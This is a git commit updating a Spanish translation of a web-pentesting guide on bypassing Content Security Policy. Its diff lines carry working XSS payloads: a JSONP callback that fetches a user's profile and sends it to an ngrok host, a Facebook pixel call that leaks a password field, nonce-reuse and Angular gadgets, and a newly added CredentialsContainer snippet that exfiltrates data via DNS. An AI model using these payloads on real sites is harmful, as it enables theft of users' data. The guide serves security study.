Translated ['src/pentesting-web/content-security-policy-csp-bypass/READM

This commit is contained in:
Translator 2025-01-26 15:17:38 +00:00
parent 7dc6908f8b
commit d0e5609a5a

View File

@ -53,7 +53,7 @@ object-src 'none';
- **base-uri**: Especifica las URLs permitidas para cargar usando elementos `<base>`.
- **form-action**: Enumera los puntos finales válidos para envíos de formularios.
- **plugin-types**: Restringe los tipos MIME que una página puede invocar.
- **upgrade-insecure-requests**: Indica a los navegadores que reescriban las URLs HTTP a HTTPS.
- **upgrade-insecure-requests**: Instruye a los navegadores a reescribir URLs HTTP a HTTPS.
- **sandbox**: Aplica restricciones similares al atributo sandbox de un `<iframe>`.
- **report-to**: Especifica un grupo al que se enviará un informe si se viola la política.
- **worker-src**: Especifica fuentes válidas para scripts de Worker, SharedWorker o ServiceWorker.
@ -70,7 +70,7 @@ object-src 'none';
- `'unsafe-hashes'`: Habilita controladores de eventos en línea específicos.
- `'unsafe-inline'`: Permite el uso de recursos en línea como `<script>` o `<style>` en línea, no recomendado por razones de seguridad.
- `'nonce'`: Una lista blanca para scripts en línea específicos usando un nonce criptográfico (número usado una vez).
- Si tienes ejecución de JS limitada, es posible obtener un nonce usado dentro de la página con `doc.defaultView.top.document.querySelector("[nonce]")` y luego reutilizarlo para cargar un script malicioso (si se usa strict-dynamic, cualquier fuente permitida puede cargar nuevas fuentes, por lo que esto no es necesario), como en:
- Si tienes ejecución limitada de JS, es posible obtener un nonce usado dentro de la página con `doc.defaultView.top.document.querySelector("[nonce]")` y luego reutilizarlo para cargar un script malicioso (si se usa strict-dynamic, cualquier fuente permitida puede cargar nuevas fuentes, por lo que esto no es necesario), como en:
<details>
@ -88,7 +88,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
```
</details>
- `'sha256-<hash>'`: Permite scripts con un hash sha256 específico en la lista blanca.
- `'sha256-<hash>'`: Permite scripts con un hash sha256 específico.
- `'strict-dynamic'`: Permite cargar scripts de cualquier fuente si ha sido autorizado por un nonce o hash.
- `'host'`: Especifica un host específico, como `example.com`.
- `https:`: Restringe las URL a aquellas que utilizan HTTPS.
@ -120,13 +120,13 @@ csp-bypass-self-+-unsafe-inline-with-iframes.md
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
```
Carga útil en funcionamiento:
Carga útil funcional:
```html
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
```
### strict-dynamic
Si de alguna manera puedes hacer que un **código JS permitido cree una nueva etiqueta de script** en el DOM con tu código JS, porque un script permitido la está creando, la **nueva etiqueta de script se permitirá ejecutar**.
Si puedes de alguna manera hacer que un **código JS permitido cree una nueva etiqueta de script** en el DOM con tu código JS, porque un script permitido la está creando, la **nueva etiqueta de script será permitida para ser ejecutada**.
### Wildcard (\*)
```yaml
@ -159,11 +159,11 @@ Carga útil en funcionamiento:
```markup
"/>'><script src="/uploads/picture.png.js"></script>
```
Sin embargo, es muy probable que el servidor esté **validando el archivo subido** y solo te permita **subir determinados tipos de archivos**.
Sin embargo, es muy probable que el servidor esté **validando el archivo subido** y solo te permita **subir un tipo determinado de archivos**.
Además, incluso si pudieras subir un **código JS dentro** de un archivo con una extensión aceptada por el servidor (como: _script.png_), esto no sería suficiente porque algunos servidores como el servidor apache **seleccionan el tipo MIME del archivo según la extensión** y navegadores como Chrome **rechazarán ejecutar código Javascript** dentro de algo que debería ser una imagen. "Esperemos", hay errores. Por ejemplo, de un CTF aprendí que **Apache no conoce** la extensión _**.wave**_, por lo tanto, no la sirve con un **tipo MIME como audio/\***.
Además, incluso si pudieras subir un **código JS dentro** de un archivo con una extensión aceptada por el servidor (como: _script.png_), esto no será suficiente porque algunos servidores como el servidor apache **seleccionan el tipo MIME del archivo según la extensión** y navegadores como Chrome **rechazarán ejecutar código Javascript** dentro de algo que debería ser una imagen. "Esperemos", hay errores. Por ejemplo, de un CTF aprendí que **Apache no conoce** la extensión _**.wave**_, por lo tanto, no la sirve con un **tipo MIME como audio/\***.
A partir de aquí, si encuentras un XSS y una carga de archivos, y logras encontrar una **extensión malinterpretada**, podrías intentar subir un archivo con esa extensión y el contenido del script. O, si el servidor está verificando el formato correcto del archivo subido, crear un polyglot ([algunos ejemplos de polyglot aquí](https://github.com/Polydet/polyglot-database)).
A partir de aquí, si encuentras un XSS y una carga de archivos, y logras encontrar una **extensión malinterpretada**, podrías intentar subir un archivo con esa extensión y el contenido del script. O, si el servidor está verificando el formato correcto del archivo subido, crea un polyglot ([algunos ejemplos de polyglot aquí](https://github.com/Polydet/polyglot-database)).
### Form-action
@ -243,7 +243,7 @@ ng-init="c.init()"
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
```
Más [**payloads de este artículo**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
Más [**payloads de este informe**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
```html
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
@ -284,7 +284,7 @@ Escenarios como este donde `script-src` está configurado en `self` y un dominio
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **contiene puntos finales JSONP listos para usar para eludir CSP de diferentes sitios web.**
[**JSONBee**](https://github.com/zigoo0/JSONBee) **contiene puntos finales JSONP listos para usar para el bypass de CSP de diferentes sitios web.**
La misma vulnerabilidad ocurrirá si el **punto final de confianza contiene una Redirección Abierta** porque si el punto final inicial es de confianza, las redirecciones son de confianza.
@ -292,16 +292,16 @@ La misma vulnerabilidad ocurrirá si el **punto final de confianza contiene una
Como se describe en el [siguiente post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), hay muchos dominios de terceros que podrían estar permitidos en algún lugar del CSP, que pueden ser abusados para exfiltrar datos o ejecutar código JavaScript. Algunos de estos terceros son:
| Entidad | Dominio Permitido | Capacidades |
| ------------------ | ------------------------------------------- | ------------ |
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec |
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
| Entidad | Dominio Permitido | Capacidades |
| ------------------ | ------------------------------------------- | ------------- |
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec |
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
Si encuentras alguno de los dominios permitidos en el CSP de tu objetivo, es probable que puedas eludir el CSP registrándote en el servicio de terceros y, ya sea exfiltrando datos a ese servicio o ejecutando código.
@ -329,11 +329,11 @@ fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
```
En cuanto a los otros siete dominios de terceros especificados en la tabla anterior, hay muchas otras formas en las que puedes abusar de ellos. Consulta la [entrada del blog](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) para explicaciones adicionales sobre otros abusos de terceros.
En cuanto a los otros siete dominios de terceros especificados en la tabla anterior, hay muchas otras formas en las que puedes abusar de ellos. Consulta la [entrada del blog](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) anterior para explicaciones adicionales sobre otros abusos de terceros.
### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
Además de la redirección mencionada para eludir las restricciones de ruta, hay otra técnica llamada Relative Path Overwrite (RPO) que se puede utilizar en algunos servidores.
Además de la redirección mencionada anteriormente para eludir las restricciones de ruta, hay otra técnica llamada Relative Path Overwrite (RPO) que se puede utilizar en algunos servidores.
Por ejemplo, si CSP permite la ruta `https://example.com/scripts/react/`, se puede eludir de la siguiente manera:
```html
@ -359,7 +359,7 @@ Ejemplo en línea:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsb
### falta **base-uri**
Si falta la directiva **base-uri**, puedes abusar de ella para realizar una [**inyección de marcado colgante**](../dangling-markup-html-scriptless-injection/).
Si falta la directiva **base-uri**, puedes abusar de ella para realizar una [**inyección de marcado colgante**](../dangling-markup-html-scriptless-injection/index.html).
Además, si la **página está cargando un script usando una ruta relativa** (como `<script src="/js/app.js">`) utilizando un **Nonce**, puedes abusar de la **etiqueta base** para hacer que **cargue** el script desde **tu propio servidor logrando un XSS.**\
Si la página vulnerable se carga con **httpS**, utiliza una URL httpS en la base.
@ -395,7 +395,7 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
```
Otros puntos de ejecución arbitraria de JSONP se pueden encontrar en [**aquí**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (algunos de ellos fueron eliminados o corregidos)
### Bypass mediante Redirección
### Bypass a través de Redirección
¿Qué sucede cuando CSP encuentra una redirección del lado del servidor? Si la redirección lleva a un origen diferente que no está permitido, seguirá fallando.
@ -421,7 +421,7 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
```
Si CSP está configurado en `https://www.google.com/a/b/c/d`, dado que se considera la ruta, tanto los scripts `/test` como `/a/test` serán bloqueados por CSP.
Sin embargo, el final `http://localhost:5555/301` será **redirigido en el lado del servidor a `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Dado que es una redirección, **la ruta no se considera**, y **el script puede ser cargado**, eludiendo así la restricción de la ruta.
Sin embargo, el `http://localhost:5555/301` final será **redirigido en el lado del servidor a `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Dado que es una redirección, **la ruta no se considera**, y el **script puede ser cargado**, eludiendo así la restricción de la ruta.
Con esta redirección, incluso si la ruta se especifica completamente, aún será eludida.
@ -429,7 +429,7 @@ Por lo tanto, la mejor solución es asegurarse de que el sitio web no tenga vuln
### Eludir CSP con marcado colgante
Lee [cómo aquí](../dangling-markup-html-scriptless-injection/).
Lee [cómo aquí](../dangling-markup-html-scriptless-injection/index.html).
### 'unsafe-inline'; img-src \*; a través de XSS
```
@ -546,18 +546,18 @@ Este ataque implicaría algo de ingeniería social donde el atacante **convince
Para más información [**consulta el informe original aquí**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
### Eludir CSP restringiendo CSP
### Bypass de CSP restringiendo CSP
En [**este informe de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP se elude inyectando dentro de un iframe permitido un CSP más restrictivo que no permitía cargar un archivo JS específico que, luego, a través de **contaminación de prototipos** o **dom clobbering** permitía **abusar de un script diferente para cargar un script arbitrario**.
En [**este informe de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP se elude al inyectar dentro de un iframe permitido un CSP más restrictivo que no permitía cargar un archivo JS específico que, luego, a través de **contaminación de prototipos** o **dom clobbering** permitía **abusar de un script diferente para cargar un script arbitrario**.
Puedes **restringir un CSP de un Iframe** con el atributo **`csp`**:
Puedes **restringir un CSP de un Iframe** con el **atributo `csp`**:
```html
<iframe
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
```
En [**este informe de CTF**](https://github.com/aszx87410/ctf-writeups/issues/48), fue posible a través de **inyección HTML** **restringir** más un **CSP** de modo que un script que prevenía CSTI fue deshabilitado y, por lo tanto, la **vulnerabilidad se volvió explotable.**\
CSP se puede hacer más restrictivo utilizando **etiquetas meta HTML** y los scripts en línea pueden deshabilitarse **eliminando** la **entrada** que permite su **nonce** y **habilitar scripts en línea específicos a través de sha**:
En [**este informe de CTF**](https://github.com/aszx87410/ctf-writeups/issues/48), fue posible a través de **inyección de HTML** **restringir** más un **CSP** de modo que un script que prevenía CSTI fue deshabilitado y, por lo tanto, la **vulnerabilidad se volvió explotable.**\
CSP se puede hacer más restrictivo utilizando **etiquetas meta de HTML** y los scripts en línea pueden deshabilitarse **eliminando** la **entrada** que permite su **nonce** y **habilitar scripts en línea específicos a través de sha**:
```html
<meta
http-equiv="Content-Security-Policy"
@ -627,7 +627,7 @@ SOME es una técnica que abusa de un XSS (o XSS altamente limitado) **en un endp
Además, **wordpress** tiene un endpoint **JSONP** en `/wp-json/wp/v2/users/1?_jsonp=data` que **reflejará** los **datos** enviados en la salida (con la limitación de solo letras, números y puntos).
Un atacante puede abusar de ese endpoint para **generar un ataque SOME** contra WordPress y **incrustarlo** dentro de `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` ten en cuenta que este **script** será **cargado** porque está **permitido por 'self'**. Además, y debido a que WordPress está instalado, un atacante podría abusar del **ataque SOME** a través del endpoint **callback** **vulnerable** que **elude el CSP** para otorgar más privilegios a un usuario, instalar un nuevo plugin...\
Un atacante puede abusar de ese endpoint para **generar un ataque SOME** contra WordPress y **incrustarlo** dentro de `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` ten en cuenta que este **script** será **cargado** porque está **permitido por 'self'**. Además, y debido a que WordPress está instalado, un atacante podría abusar del **ataque SOME** a través del endpoint **vulnerable** **callback** que **elude el CSP** para otorgar más privilegios a un usuario, instalar un nuevo plugin...\
Para más información sobre cómo realizar este ataque consulta [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
## CSP Exfiltration Bypasses
@ -700,12 +700,25 @@ var pc = new RTCPeerConnection({
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
```
## Comprobando las Políticas CSP en Línea
### CredentialsContainer
El popup de credenciales envía una solicitud DNS a iconURL sin estar restringido por la página. Solo funciona en un contexto seguro (HTTPS) o en localhost.
```javascript
navigator.credentials.store(
new FederatedCredential({
id:"satoki",
name:"satoki",
provider:"https:"+your_data+"example.com",
iconURL:"https:"+your_data+"example.com"
})
)
```
## Comprobando las políticas de CSP en línea
- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
- [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)
## Creando CSP Automáticamente
## Creando CSP automáticamente
[https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy)